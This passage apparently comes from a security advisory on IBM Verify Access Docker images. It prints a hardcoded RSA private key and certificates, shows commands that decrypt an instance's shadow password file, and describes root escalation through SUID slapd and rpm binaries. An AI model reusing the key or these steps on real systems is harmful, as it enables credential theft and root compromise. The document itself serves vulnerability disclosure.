3C 3F 6D 07 88 AD B6 FE 52 2B EA 10 0C 9C 0A F4 04 21 20 95 E9 A7 39 E9 6F F1 83 11 5E B7 C5 D5 41 F8 D0 4B BC A2 D5 C6 1B E0 77 F4 91 F2 1B 23 25 17 42 29 19 3E CE 4E 39 12 E5 29 30 69 6A FE 47 BA E6 D8 D5 5E 3C 23 C6 B5 40 49 E5 64 7E 69 CC 43 E0 15 AE F5 DC D9 8C 27 6F 2E 09 25 85 C3 F8 95 44 12 42 6F C5 D1 E0 41 B2 F0 00 90 2C EA 36 05 1D DF F3 A3 B6 4F 42 E6 6D F2 33 BD 9F AE 3F 18 4E 79 08 35 BC 28 15 AC 23 0E B5 28 23 C2 08 3D 6A 39 5D 37 FA 60 13 EF 19 C3 7A 9C DB F0 19 0C AC 0D D0 51 B1 1B AE 22 A4 B7 92 3B FF 61 A3 0F 1C 6E 52 97 FE 2D 65 CB 13 \n Key Attributes: \u003cNo Attributes\u003e\n -----BEGIN PRIVATE KEY-----\n MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDsJ4YkXiuJVyuD\n N2Ibykd86ieUfIqlRJ4t0Z40CXkfcUoSYfGfEUl0vGa/hRV6dBgr0cvsP1Uuh8lM\n x1k7AF2LZB/3Hf42MiN4b1BShCkU//UDjw3IJDblpDxAs6+wNHLjZ3Tmu4j8WPH6\n szaEMmLKdAOVX3j4pElcoTwsozR+F+1XBcp9G+nhIymvTaskWy8Qi2EHl+M2qbrw\n G9Iissr1wX3KnI5hxvHAtEflwFu1qIcQFdEo/nG6+45TzhuIUTep1jcqDKTFsuzM\n DrlEPELGqHVhkYrUaCYUtiEOjZXcE6Hufy10nEjo3nARyKlIom3A9Gi8qscq9Xh3\n R5JZZbEtAgMBAAECggEABB9RCrysBAAZuFSREk47s+NE5JGSN3klHESHzinuZphv\n 9piID0BX0/Ar6uo4aO+GXrj9fqHZi2ikR/12yW0NpjYhcMsr1geMTNkJXPex+wwJ\n eQWaoEXeBk3bbGbfMzqrxUh/QgyJqpu48wZ7ROSIqF5DMYVPElkkSAHWmdvgUnQi\n T5m+F+eq5dGYx82V/COXKzOKUd714o7uL6bPqnFbZlQLGbDnUruFLLNsktrVhMCH\n f2n7vj2irRyehFB9iJWoQYzZRYnt7ZZwaiC5tM1FH08Ba9KWhKioV0euO8t2ojkt\n VW3EKTx5qrxnKvchlgDzb9neb/p9PtFUy/AuB/3n6QKBgQDzv99rQUVVLsaTFK8A\n UWzXfEB+su0vxK5Q8hpgF9EdOGLZQtTpl8/xIj5Np7OqVclQA7usx6t9mcJwjkdH\n blUubDs8MOcvbxfjOos3LdZ4egOfiac7N4nMkjh1XUvUt0bvkNO+GtgDgsS16EiE\n X9fsafsbkQYqsNd1qag4u5M9xQKBgQD4Be5dLZ0A62qQlaQA5Vl8bp8woL843qKC\n PYGIEf5/sQX3oYRhM2En6RI4nMt6htPn7WB0T7vCCi+XEACnruAUJFEyZARpeGHG\n 5jx3p4p3l/QUxCgdzXceEJTjabesOOZSuPazjaj1RWoAU7fRTwnG+0msq15zlkqG\n UjVnqsoESQKBgBheXl/CrsPNYVzi/HvzqAYDDg+co8nax/KfwbNJrkZVlMxTuiWA\n X/GjkscAtR2aZf3x4ZlsfOCZtq66CrZBeZKij2l9Gh/L4398It7pXj+9Mw+IG4f4\n DXa+R5a0NRiXGihpOkIPPPlc4X2uM1HIozWngstGvG8YLvI8e+zwE9BhAoGAf649\n +YXjz3dh0rDWTwfCu4YPOW9nQZWLP1T+e9gXlhDBq6tghNF4cJ1RngdJ0Pfb2wee\n ogHx/IBV44R/cdNa08OmcTR/+PPaEhSwiECdzddR9ebNaBo/+iA7JZ9kyKo6F9fU\n WLbShgGIAkcW2A/CTsdKNDO8WfDCyMdFaurHONECgYA0e/5TN/+AGLktUd7VIlOC\n 5FCHkAGl4iHJn/3v5r8yfh55Otf+K9vIUrEGW9XEouIofLMapbKqxiTD7YCbrbsy\n NyoRMUtmBWnh7yrWkl/gvLIRsAw1R248Q1uxLb0JytRyf/8vW0YOK1grDxnijULH\n arClGP/McDNH4FD3S9dgJQ==\n -----END PRIVATE KEY-----\n\n\nAnd the corresponding certificates:\n\n Bag Attributes\n friendlyName: ca\n localKeyID: 03 82 01 01 00 6F 9B 85 F2 CA 2A DC A3 2E BA F7 D9 36 40 D4 D4 4D 31 A4 AC 23 2E 6E F0 9F 04 90 D7 F5 EC D1 31 7C 39 DB 80 20 7D A2 6C F5 30 F1 B6 C0 8C 1D 9F 32 87 A0 84 FE 22 AC 8F 0E D8 36 03 6D 69 29 E2 57 0C B3 9B 05 C4 E0 1E 81 51 EB 33 49 C3 D3 E1 F2 4E C0 CA 0C 5A A8 F9 5D 54 1F CF BE C0 9A 70 C4 6F 94 65 70 14 9F 1B 74 29 6E EB 00 1F 55 9B FE A1 00 CC FB DC CD 20 35 64 DF D6 A5 A7 F4 FB 76 DB D5 AA 6D 67 08 B1 F8 0B 71 37 AF A2 90 C3 AA 57 38 5B 48 E7 AE 35 6C 0C 8A E3 99 7D 90 94 B0 F8 1E 13 17 F9 A9 2F 5F 87 35 8B F5 6D AC 64 89 28 B0 96 0B 6C FB B4 8E D9 F0 26 AD 61 35 F4 CB A4 59 F8 F6 A0 72 EB 82 CD CF 2D 85 63 CF C3 27 64 9F 52 07 05 D7 19 81 5A 57 4A 92 F5 3F 30 2D 87 BD FB 96 92 2B A0 93 E6 B8 E8 E5 90 27 70 A8 78 6F 1C 98 11 6E F9 70 60 0F 2C D8 4C 44 BF \n subject=C = us, O = ibm, OU = isam, CN = ca\n issuer=C = us, O = ibm, OU = isam, CN = ca\n -----BEGIN CERTIFICATE-----\n MIIDNDCCAhygAwIBAgIINKDsXZO6zrowDQYJKoZIhvcNAQELBQAwNzELMAkGA1UE\n BhMCdXMxDDAKBgNVBAoTA2libTENMAsGA1UECxMEaXNhbTELMAkGA1UEAxMCY2Ew\n IBcNMTkwMzIxMDQ1NzAzWhgPMjEwMTA1MTEwNDU3MDNaMDcxCzAJBgNVBAYTAnVz\n MQwwCgYDVQQKEwNpYm0xDTALBgNVBAsTBGlzYW0xCzAJBgNVBAMTAmNhMIIBIjAN\n BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuXdVJAQqU5iu+NNUakipeNkiJwNA\n fM4Gy4GRvhz6J4iIMM27uJUSUhRmho57iR9XHFj78bg7b+Udul+BIZy/UXsCYhw0\n 6tUUZz/16kI2t7h8LCguMlJcr4QXF/hXKEys6uMu9uGWbNhiDPkOHeDrFwKJkM90\n 3hFk/bcq+4AoAyfFt1r6RFBOpqb5tDj7oxYrwDPVrOm2O83Ga6o1ODXLf/4KvapW\n bijFmp+vLxPsjKiQJAgi4emBvBAPk1P00D+HAngiIlAQQugNUQjGwgPbewIFk5ST\n 8bj03YExEy0Vw5TCVoVsbkxlrZF660l2liMAU5OF1X3itsZGLETzRZgWdQIDAQAB\n o0IwQDAfBgNVHSMEGDAWgBRXaoj3HRsUC6I+wha3FcN9ng+jDDAdBgNVHQ4EFgQU\n V2qI9x0bFAuiPsIWtxXDfZ4PowwwDQYJKoZIhvcNAQELBQADggEBAG+bhfLKKtyj\n Lrr32TZA1NRNMaSsIy5u8J8EkNf17NExfDnbgCB9omz1MPG2wIwdnzKHoIT+IqyP\n Dtg2A21pKeJXDLObBcTgHoFR6zNJw9Ph8k7AygxaqPldVB/PvsCacMRvlGVwFJ8b\n dClu6wAfVZv+oQDM+9zNIDVk39alp/T7dtvVqm1nCLH4C3E3r6KQw6pXOFtI5641\n bAyK45l9kJSw+B4TF/mpL1+HNYv1baxkiSiwlgts+7SO2fAmrWE19MukWfj2oHLr\n gs3PLYVjz8MnZJ9SBwXXGYFaV0qS9T8wLYe9+5aSK6CT5rjo5ZAncKh4bxyYEW75\n cGAPLNhMRL8=\n -----END CERTIFICATE-----\n Bag Attributes\n friendlyName: encKey\n localKeyID: 03 82 01 01 00 BB 0F 22 30 06 39 08 3E 65 E7 67 A2 F7 A0 1A 96 6F A6 75 57 3E AF B0 64 7D 83 07 47 6C A3 CE 91 7D 11 94 B5 E9 F7 79 74 F0 22 AB 50 C7 49 66 5E 64 0C 63 07 B7 43 F2 35 52 E4 2C CC C0 1F B4 ED 2F 18 CB D3 A0 3C 3F 6D 07 88 AD B6 FE 52 2B EA 10 0C 9C 0A F4 04 21 20 95 E9 A7 39 E9 6F F1 83 11 5E B7 C5 D5 41 F8 D0 4B BC A2 D5 C6 1B E0 77 F4 91 F2 1B 23 25 17 42 29 19 3E CE 4E 39 12 E5 29 30 69 6A FE 47 BA E6 D8 D5 5E 3C 23 C6 B5 40 49 E5 64 7E 69 CC 43 E0 15 AE F5 DC D9 8C 27 6F 2E 09 25 85 C3 F8 95 44 12 42 6F C5 D1 E0 41 B2 F0 00 90 2C EA 36 05 1D DF F3 A3 B6 4F 42 E6 6D F2 33 BD 9F AE 3F 18 4E 79 08 35 BC 28 15 AC 23 0E B5 28 23 C2 08 3D 6A 39 5D 37 FA 60 13 EF 19 C3 7A 9C DB F0 19 0C AC 0D D0 51 B1 1B AE 22 A4 B7 92 3B FF 61 A3 0F 1C 6E 52 97 FE 2D 65 CB 13 \n subject=C = US, O = IBM, OU = GSKIT, CN = encKey\n issuer=C = US, O = IBM, OU = GSKIT, CN = encKey\n -----BEGIN CERTIFICATE-----\n MIIEJjCCAw6gAwIBAgIIEuizp4Aw/w8wDQYJKoZIhvcNAQEFBQAwPDELMAkGA1UE\n BhMCVVMxDDAKBgNVBAoTA0lCTTEOMAwGA1UECxMFR1NLSVQxDzANBgNVBAMTBmVu\n Y0tleTAeFw0xOTAzMjEwNDU2NTlaFw0yOTAzMTkwNDU2NTlaMDwxCzAJBgNVBAYT\n AlVTMQwwCgYDVQQKEwNJQk0xDjAMBgNVBAsTBUdTS0lUMQ8wDQYDVQQDEwZlbmNL\n ZXkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDsJ4YkXiuJVyuDN2Ib\n ykd86ieUfIqlRJ4t0Z40CXkfcUoSYfGfEUl0vGa/hRV6dBgr0cvsP1Uuh8lMx1k7\n AF2LZB/3Hf42MiN4b1BShCkU//UDjw3IJDblpDxAs6+wNHLjZ3Tmu4j8WPH6szaE\n MmLKdAOVX3j4pElcoTwsozR+F+1XBcp9G+nhIymvTaskWy8Qi2EHl+M2qbrwG9Ii\n ssr1wX3KnI5hxvHAtEflwFu1qIcQFdEo/nG6+45TzhuIUTep1jcqDKTFsuzMDrlE\n PELGqHVhkYrUaCYUtiEOjZXcE6Hufy10nEjo3nARyKlIom3A9Gi8qscq9Xh3R5JZ\n ZbEtAgMBAAGjggEqMIIBJjCCASIGHCsGAQSD3OuTf4Pc65N/g9zrk3+r7CeDsWQC\n pwkEggEARE7WVCtMEiBaqLgkERWOycU2QormaqloW2kdYi0iZT7NV/3tw0DNbcGK\n pWdWfqtM4BM2x7Zq1ilGkK3NtGDnvRTBvrCFt0j/fU80/B9yBoELS0OWqKDkLiZi\n enYORA427Y4JNYiRWngQCBPboqqp1oOB03dxujVH85W/3AniYol4fZBiUdYMfhWi\n 0sKxy5El/XDpYsA8w6ZQ0jz3/uQkNzY96A6QdO/4wB9P4YpKrl3XTKYGMtwoSW4b\n QbXu2DOWvPZHxkXLizkeEk9/j+DC27nA7/ZIBNRV4pqOg2lo+7Po9XwwNyE2+1o2\n 4/2lwxPxDvGFYP05F78XHPEal8LgPTANBgkqhkiG9w0BAQUFAAOCAQEAuw8iMAY5\n CD5l52ei96Aalm+mdVc+r7BkfYMHR2yjzpF9EZS16fd5dPAiq1DHSWZeZAxjB7dD\n 8jVS5CzMwB+07S8Yy9OgPD9tB4ittv5SK+oQDJwK9AQhIJXppznpb/GDEV63xdVB\n +NBLvKLVxhvgd/SR8hsjJRdCKRk+zk45EuUpMGlq/ke65tjVXjwjxrVASeVkfmnM\n Q+AVrvXc2Ywnby4JJYXD+JVEEkJvxdHgQbLwAJAs6jYFHd/zo7ZPQuZt8jO9n64/\n GE55CDW8KBWsIw61KCPCCD1qOV03+mAT7xnDepzb8BkMrA3QUbEbriKkt5I7/2Gj\n DxxuUpf+LWXLEw==\n -----END CERTIFICATE-----\n\n\nAfter the analysis of the certificates and the private keys, we were able to extract a CA private key and a private encryption/decryption key:\n\n kali-docker# openssl x509 -in ca.pem -text -noout -modulus\n Certificate:\n Data:\n Version: 3 (0x2)\n Serial Number: 3792290772900564666 (0x34a0ec5d93baceba)\n Signature Algorithm: sha256WithRSAEncryption\n Issuer: C=us, O=ibm, OU=isam, CN=ca\n Validity\n Not Before: Mar 21 04:57:03 2019 GMT\n Not After : May 11 04:57:03 2101 GMT\n Subject: C=us, O=ibm, OU=isam, CN=ca\n Subject Public Key Info:\n Public Key Algorithm: rsaEncryption\n Public-Key: (2048 bit)\n Modulus:\n 00:b9:77:55:24:04:2a:53:98:ae:f8:d3:54:6a:48:\n a9:78:d9:22:27:03:40:7c:ce:06:cb:81:91:be:1c:\n fa:27:88:88:30:cd:bb:b8:95:12:52:14:66:86:8e:\n 7b:89:1f:57:1c:58:fb:f1:b8:3b:6f:e5:1d:ba:5f:\n 81:21:9c:bf:51:7b:02:62:1c:34:ea:d5:14:67:3f:\n f5:ea:42:36:b7:b8:7c:2c:28:2e:32:52:5c:af:84:\n 17:17:f8:57:28:4c:ac:ea:e3:2e:f6:e1:96:6c:d8:\n 62:0c:f9:0e:1d:e0:eb:17:02:89:90:cf:74:de:11:\n 64:fd:b7:2a:fb:80:28:03:27:c5:b7:5a:fa:44:50:\n 4e:a6:a6:f9:b4:38:fb:a3:16:2b:c0:33:d5:ac:e9:\n b6:3b:cd:c6:6b:aa:35:38:35:cb:7f:fe:0a:bd:aa:\n 56:6e:28:c5:9a:9f:af:2f:13:ec:8c:a8:90:24:08:\n 22:e1:e9:81:bc:10:0f:93:53:f4:d0:3f:87:02:78:\n 22:22:50:10:42:e8:0d:51:08:c6:c2:03:db:7b:02:\n 05:93:94:93:f1:b8:f4:dd:81:31:13:2d:15:c3:94:\n c2:56:85:6c:6e:4c:65:ad:91:7a:eb:49:76:96:23:\n 00:53:93:85:d5:7d:e2:b6:c6:46:2c:44:f3:45:98:\n 16:75\n Exponent: 65537 (0x10001)\n X509v3 extensions:\n X509v3 Authority Key Identifier: \n 57:6A:88:F7:1D:1B:14:0B:A2:3E:C2:16:B7:15:C3:7D:9E:0F:A3:0C\n X509v3 Subject Key Identifier: \n 57:6A:88:F7:1D:1B:14:0B:A2:3E:C2:16:B7:15:C3:7D:9E:0F:A3:0C\n Signature Algorithm: sha256WithRSAEncryption\n Signature Value:\n 6f:9b:85:f2:ca:2a:dc:a3:2e:ba:f7:d9:36:40:d4:d4:4d:31:\n a4:ac:23:2e:6e:f0:9f:04:90:d7:f5:ec:d1:31:7c:39:db:80:\n 20:7d:a2:6c:f5:30:f1:b6:c0:8c:1d:9f:32:87:a0:84:fe:22:\n ac:8f:0e:d8:36:03:6d:69:29:e2:57:0c:b3:9b:05:c4:e0:1e:\n 81:51:eb:33:49:c3:d3:e1:f2:4e:c0:ca:0c:5a:a8:f9:5d:54:\n 1f:cf:be:c0:9a:70:c4:6f:94:65:70:14:9f:1b:74:29:6e:eb:\n 00:1f:55:9b:fe:a1:00:cc:fb:dc:cd:20:35:64:df:d6:a5:a7:\n f4:fb:76:db:d5:aa:6d:67:08:b1:f8:0b:71:37:af:a2:90:c3:\n aa:57:38:5b:48:e7:ae:35:6c:0c:8a:e3:99:7d:90:94:b0:f8:\n 1e:13:17:f9:a9:2f:5f:87:35:8b:f5:6d:ac:64:89:28:b0:96:\n 0b:6c:fb:b4:8e:d9:f0:26:ad:61:35:f4:cb:a4:59:f8:f6:a0:\n 72:eb:82:cd:cf:2d:85:63:cf:c3:27:64:9f:52:07:05:d7:19:\n 81:5a:57:4a:92:f5:3f:30:2d:87:bd:fb:96:92:2b:a0:93:e6:\n b8:e8:e5:90:27:70:a8:78:6f:1c:98:11:6e:f9:70:60:0f:2c:\n d8:4c:44:bf\n Modulus=B9775524042A5398AEF8D3546A48A978D9222703407CCE06CB8191BE1CFA27888830CDBBB89512521466868E7B891F571C58FBF1B83B6FE51DBA5F81219CBF517B02621C34EAD514673FF5EA4236B7B87C2C282E32525CAF841717F857284CACEAE32EF6E1966CD8620CF90E1DE0EB17028990CF74DE1164FDB72AFB80280327C5B75AFA44504EA6A6F9B438FBA3162BC033D5ACE9B63BCDC66BAA353835CB7FFE0ABDAA566E28C59A9FAF2F13EC8CA890240822E1E981BC100F9353F4D03F8702782222501042E80D5108C6C203DB7B0205939493F1B8F4DD8131132D15C394C256856C6E4C65AD917AEB4976962300539385D57DE2B6C6462C44F345981675\n kali-docker# openssl rsa -in ca.key -modulus -noout \n Modulus=B9775524042A5398AEF8D3546A48A978D9222703407CCE06CB8191BE1CFA27888830CDBBB89512521466868E7B891F571C58FBF1B83B6FE51DBA5F81219CBF517B02621C34EAD514673FF5EA4236B7B87C2C282E32525CAF841717F857284CACEAE32EF6E1966CD8620CF90E1DE0EB17028990CF74DE1164FDB72AFB80280327C5B75AFA44504EA6A6F9B438FBA3162BC033D5ACE9B63BCDC66BAA353835CB7FFE0ABDAA566E28C59A9FAF2F13EC8CA890240822E1E981BC100F9353F4D03F8702782222501042E80D5108C6C203DB7B0205939493F1B8F4DD8131132D15C394C256856C6E4C65AD917AEB4976962300539385D57DE2B6C6462C44F345981675\n \n kali-docker# openssl x509 -in encKey.pem -text -noout -modulus\n Certificate:\n Data:\n Version: 3 (0x2)\n Serial Number: 1362536419271180047 (0x12e8b3a78030ff0f)\n Signature Algorithm: sha1WithRSAEncryption\n Issuer: C=US, O=IBM, OU=GSKIT, CN=encKey\n Validity\n Not Before: Mar 21 04:56:59 2019 GMT\n Not After : Mar 19 04:56:59 2029 GMT\n Subject: C=US, O=IBM, OU=GSKIT, CN=encKey\n Subject Public Key Info:\n Public Key Algorithm: rsaEncryption\n Public-Key: (2048 bit)\n Modulus:\n 00:ec:27:86:24:5e:2b:89:57:2b:83:37:62:1b:ca:\n 47:7c:ea:27:94:7c:8a:a5:44:9e:2d:d1:9e:34:09:\n 79:1f:71:4a:12:61:f1:9f:11:49:74:bc:66:bf:85:\n 15:7a:74:18:2b:d1:cb:ec:3f:55:2e:87:c9:4c:c7:\n 59:3b:00:5d:8b:64:1f:f7:1d:fe:36:32:23:78:6f:\n 50:52:84:29:14:ff:f5:03:8f:0d:c8:24:36:e5:a4:\n 3c:40:b3:af:b0:34:72:e3:67:74:e6:bb:88:fc:58:\n f1:fa:b3:36:84:32:62:ca:74:03:95:5f:78:f8:a4:\n 49:5c:a1:3c:2c:a3:34:7e:17:ed:57:05:ca:7d:1b:\n e9:e1:23:29:af:4d:ab:24:5b:2f:10:8b:61:07:97:\n e3:36:a9:ba:f0:1b:d2:22:b2:ca:f5:c1:7d:ca:9c:\n 8e:61:c6:f1:c0:b4:47:e5:c0:5b:b5:a8:87:10:15:\n d1:28:fe:71:ba:fb:8e:53:ce:1b:88:51:37:a9:d6:\n 37:2a:0c:a4:c5:b2:ec:cc:0e:b9:44:3c:42:c6:a8:\n 75:61:91:8a:d4:68:26:14:b6:21:0e:8d:95:dc:13:\n a1:ee:7f:2d:74:9c:48:e8:de:70:11:c8:a9:48:a2:\n 6d:c0:f4:68:bc:aa:c7:2a:f5:78:77:47:92:59:65:\n b1:2d\n Exponent: 65537 (0x10001)\n X509v3 extensions:\n 1.3.6.1.4.999999999.999999999.999999999.718375.55524.2.5001: \n DN.T+L. Z..$.....6B..j.h[i.b-\"e\u003e.W...@.m...gV~.L..6..j.)F....`........H.}O4..r...KC.....\u0026bzv.D.6...5..Zx...........wq.5G......b.x}.bQ..~.......%.p.b.\u003c..P.\u003c...$76=...t....O..J.].L..2.(In.A...3...G.E..9..O.........H..U....ih....|07!6.Z6.........`.9.........=\n Signature Algorithm: sha1WithRSAEncryption\n Signature Value:\n bb:0f:22:30:06:39:08:3e:65:e7:67:a2:f7:a0:1a:96:6f:a6:\n 75:57:3e:af:b0:64:7d:83:07:47:6c:a3:ce:91:7d:11:94:b5:\n e9:f7:79:74:f0:22:ab:50:c7:49:66:5e:64:0c:63:07:b7:43:\n f2:35:52:e4:2c:cc:c0:1f:b4:ed:2f:18:cb:d3:a0:3c:3f:6d:\n 07:88:ad:b6:fe:52:2b:ea:10:0c:9c:0a:f4:04:21:20:95:e9:\n a7:39:e9:6f:f1:83:11:5e:b7:c5:d5:41:f8:d0:4b:bc:a2:d5:\n c6:1b:e0:77:f4:91:f2:1b:23:25:17:42:29:19:3e:ce:4e:39:\n 12:e5:29:30:69:6a:fe:47:ba:e6:d8:d5:5e:3c:23:c6:b5:40:\n 49:e5:64:7e:69:cc:43:e0:15:ae:f5:dc:d9:8c:27:6f:2e:09:\n 25:85:c3:f8:95:44:12:42:6f:c5:d1:e0:41:b2:f0:00:90:2c:\n ea:36:05:1d:df:f3:a3:b6:4f:42:e6:6d:f2:33:bd:9f:ae:3f:\n 18:4e:79:08:35:bc:28:15:ac:23:0e:b5:28:23:c2:08:3d:6a:\n 39:5d:37:fa:60:13:ef:19:c3:7a:9c:db:f0:19:0c:ac:0d:d0:\n 51:b1:1b:ae:22:a4:b7:92:3b:ff:61:a3:0f:1c:6e:52:97:fe:\n 2d:65:cb:13\n Modulus=EC2786245E2B89572B8337621BCA477CEA27947C8AA5449E2DD19E3409791F714A1261F19F114974BC66BF85157A74182BD1CBEC3F552E87C94CC7593B005D8B641FF71DFE363223786F5052842914FFF5038F0DC82436E5A43C40B3AFB03472E36774E6BB88FC58F1FAB336843262CA7403955F78F8A4495CA13C2CA3347E17ED5705CA7D1BE9E12329AF4DAB245B2F108B610797E336A9BAF01BD222B2CAF5C17DCA9C8E61C6F1C0B447E5C05BB5A8871015D128FE71BAFB8E53CE1B885137A9D6372A0CA4C5B2ECCC0EB9443C42C6A87561918AD4682614B6210E8D95DC13A1EE7F2D749C48E8DE7011C8A948A26DC0F468BCAAC72AF5787747925965B12D\n kali-docker# openssl rsa -in encKey.key -modulus -noout \n \n Modulus=EC2786245E2B89572B8337621BCA477CEA27947C8AA5449E2DD19E3409791F714A1261F19F114974BC66BF85157A74182BD1CBEC3F552E87C94CC7593B005D8B641FF71DFE363223786F5052842914FFF5038F0DC82436E5A43C40B3AFB03472E36774E6BB88FC58F1FAB336843262CA7403955F78F8A4495CA13C2CA3347E17ED5705CA7D1BE9E12329AF4DAB245B2F108B610797E336A9BAF01BD222B2CAF5C17DCA9C8E61C6F1C0B447E5C05BB5A8871015D128FE71BAFB8E53CE1B885137A9D6372A0CA4C5B2ECCC0EB9443C42C6A87561918AD4682614B6210E8D95DC13A1EE7F2D749C48E8DE7011C8A948A26DC0F468BCAAC72AF5787747925965B12D\n kali-docker# \n\nIt is also possible to decrypt the `shadow.enc` file of a live instance using the hardcoded `device_key.kdb`:\n\n kali-docker# file shadow.enc \n shadow.enc: data\n kali-docker# LD_LIBRARY_PATH=/home/user/ibmcom/_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/usr/lib64:/home/user/ibmcom/_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/usr/local/ibm/gsk8_64/lib64 /home/user/ibmcom/_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/usr/sbin/isva_decrypt shadow.enc\n kali-docker# cat shadow.enc \n root:!!$6$[REDACTED]:19255:0:99999:7:::\n bin:*:18367:0:99999:7:::\n daemon:*:18367:0:99999:7:::\n adm:*:18367:0:99999:7:::\n lp:*:18367:0:99999:7:::\n sync:*:18367:0:99999:7:::\n shutdown:*:18367:0:99999:7:::\n halt:*:18367:0:99999:7:::\n mail:*:18367:0:99999:7:::\n operator:*:18367:0:99999:7:::\n games:*:18367:0:99999:7:::\n ftp:*:18367:0:99999:7:::\n nobody:*:18367:0:99999:7:::\n dbus:!!:19115::::::\n systemd-coredump:!!:19115::::::\n systemd-resolve:!!:19115::::::\n tss:!!:19115::::::\n postgres:!!:19151::::::\n ldap:!!:19151::::::\n admin:$6$[REDACTED]:19255:0:99999:7:::\n www-data:*:14251:0:99999:7:::\n ivmgr:!!:19151:0:99999:7:::\n cluster::19151:0:99999:7:::\n pgresql:!!:19151:0:99999:7:::\n nfast:!!:19151:0:99999:7:::\n tivoli:!!:19151:0:99999:7:::\n isam:!!:19151:1:90:7:::\n\n\nAn attacker can easily decrypt the encrypted files inside the snapshot files. These snapshots contain an `openldap.zip` file containing the OpenLDAP configuration, keytabs, passwords, SSL certificates and private keys. \n\nThe encryption mechanism, based on hardcoded keys, is ineffective and provides a false assumption of security. \n\n\n\n## Details - Local Privilege Escalation using OpenLDAP\n\nIt was observed that the official IBM Docker image ibmcom/verify-access contains a Local Privilege Escalation vulnerability. \n\nThe binary `slapd`, used to run OpenLDAP has incorrect permissions, allowing any user to run `slapd` as root. An attacker can run `slapd` as root and specify a malicious configuration file that will run code as root. \n\nUsing a static analysis, the file system has been extracted and the `usr/sbin/slapd` program is `root:$group` and `4755`:\n\n kali-docker# docker images\n REPOSITORY TAG IMAGE ID CREATED SIZE\n ibmcom/verify-access-runtime 10.0.4.0 498e181d7395 3 months ago 1.07GB\n ibmcom/verify-access-wrp 10.0.4.0 c0003aca743c 3 months ago 442MB\n ibmcom/verify-access 10.0.4.0 206efdd7809c 3 months ago 1.53GB\n ibmcom/verify-access-dsc 10.0.4.0 959f6f1095e9 3 months ago 305MB\n \n kali-docker# ls -la _verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/usr/sbin/slapd\n -rwsr-sr-x 1 root user 1916768 Jun 8 01:30 _verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/usr/sbin/slapd\n\nWhile checking on a live system, we can confirm the permissions `4755` (suid bit) are used in the verify-access instance. The owner is `root:ivmgr`:\n\n [isam@verify-access log]$ ls -la /usr/sbin/slapd\n -rwsr-sr-x 1 root ivmgr 1916768 Jun 8 13:30 /usr/sbin/slapd\n [isam@verify-access log]$\n\nBy default, `slapd` allows to load external modules (to execute code). These .la files contain information about shared libraries that will be loaded within slapd. \n\nContent of `/etc/openldap/slapd.conf`:\n\n # Load dynamic backend modules:\n # modulepath /usr/lib/openldap\n # moduleload back_bdb.la\n # moduleload back_ldap.la\n # moduleload back_ldbm.la\n # moduleload back_passwd.la\n # moduleload back_shell.la\n moduleload syncprov.la\n\nIt is possible to load malicious modules as root using a specific configuration .la file. This will allow a local attacker to get a Local Privilege Escalation as root. For example, we can find a default file that we can change into a malicious file by updating the libdir option to another directory:\n\n kali-docker# cat _verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/usr/lib64/openldap/syncprov.la\n # syncprov.la - a libtool library file\n # Generated by libtool (GNU libtool) 2.4.6\n #\n # Please DO NOT delete this file!\n # It is necessary for linking the library. \n \n # The name that we can dlopen(3). \n dlname=\u0027syncprov-2.4.so.2\u0027\n \n # Names of this library. \n library_names=\u0027syncprov-2.4.so.2.11.4 syncprov-2.4.so.2 syncprov.so\u0027\n [...]\n # Files to dlopen/dlpreopen\n dlopen=\u0027\u0027\n dlpreopen=\u0027\u0027\n \n # Directory that this library needs to be installed in:\n libdir=\u0027/usr/lib64/openldap\u0027\n\n\n\n## Details - Local Privilege Escalation using rpm\n\nThe binary npm has incorrect permissions in the ibmcom/verify-access instance, allowing any user to run rpm as root. \n\nUsing a static analysis, with the file system that has been extracted - the `usr/bin/rpm` program is `root:root` and `4755`:\n\n kali-extraction-docker# docker images\n REPOSITORY TAG IMAGE ID CREATED SIZE\n ibmcom/verify-access-runtime 10.0.4.0 498e181d7395 3 months ago 1.07GB\n ibmcom/verify-access-wrp 10.0.4.0 c0003aca743c 3 months ago 442MB\n ibmcom/verify-access 10.0.4.0 206efdd7809c 3 months ago 1.53GB\n ibmcom/verify-access-dsc 10.0.4.0 959f6f1095e9 3 months ago 305MB\n \n kali-extraction-docker# ls -la ./_verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/usr/bin/rpm \n -rwsr-sr-x 1 root root 21336 Apr 5 14:38 ./_verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/usr/bin/rpm\n\nWhile checking on a live system, we can confirm the permissions `4755` (suid bit) are used in the verify-access docker image. The file belongs to `root:root`:\n\n [isam@verify-access /]$ ls -la /usr/bin/rpm\n -rwsr-sr-x 1 root root 21336 Apr 6 02:38 /usr/bin/rpm\n [isam@verify-access /]$ /usr/bin/rpm\n RPM version 4.14.3\n Copyright (C) 1998-2002 - Red Hat, Inc. \n This program may be freely redistributed under the terms of the GNU GPL\n \n Usage: rpm [-afgpcdLAlsiv?] [-a|--all] [-f|--file] [--path] [-g|--group] [-p|--package] [--pkgid] [--hdrid] [--triggeredby] [--whatconflicts] [--whatrequires] [--whatobsoletes] [--whatprovides] [--whatrecommends]\n [--whatsuggests] [--whatsupplements] [--whatenhances] [--nomanifest] [-c|--configfiles] [-d|--docfiles] [-L|--licensefiles] [-A|--artifactfiles] [--dump] [-l|--list] [--queryformat=QUERYFORMAT] [-s|--state]\n [--nofiledigest] [--nofiles] [--nodeps] [--noscript] [--allfiles] [--allmatches] [--badreloc] [-e|--erase=\u003cpackage\u003e+] [--excludedocs] [--excludepath=\u003cpath\u003e] [--force] [-F|--freshen=\u003cpackagefile\u003e+] [-h|--hash]\n [--ignorearch] [--ignoreos] [--ignoresize] [--noverify] [-i|--install] 